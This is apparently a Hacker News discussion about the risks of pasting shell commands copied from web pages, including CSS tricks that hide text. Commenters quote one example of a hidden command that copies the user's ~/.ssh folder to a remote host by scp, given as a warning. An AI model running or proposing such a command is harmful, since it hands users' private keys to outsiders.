Hacker News Reader

It's not the same by any measure.

When you read the script in a browser, than pastes it in a terminal, you know that "scp -r ~/.ssh u@somehost.com" isn' there.

View on HN

No, you don't:

http://thejh.net/misc/website-terminal-copy-paste

Okay, but this relies on CSS trickery. If you had navigated to a text URL this would not be a vector.

What's a text url? The only way I can see this not being a vector is if you browse with css (and javascript for good measure) turned off. Or use lynx.

A page of text? With Content-type: text? An example being a shell script?

Do you think the average user copying and pasting administrative commands into their shell will stop to check the content encoding of the document they are copying from? Do you trust your browser not to try rendering an ill-defined document with an ambiguous extension?

Do you check the Content-type: header of the response for text/plain before copying? If you do, you'd be in the minority.

Fair point.

This is why you have a strong passphrase on your ssh private key.... right?

Hum... No. It's trivial to use those scripts to do all kinds of harm. A strong passphrase only protects against this one example.

For example, it won't protect against stealing the .ssh folder and installing a keylogger at your computer.

Reply on news.ycombinator.com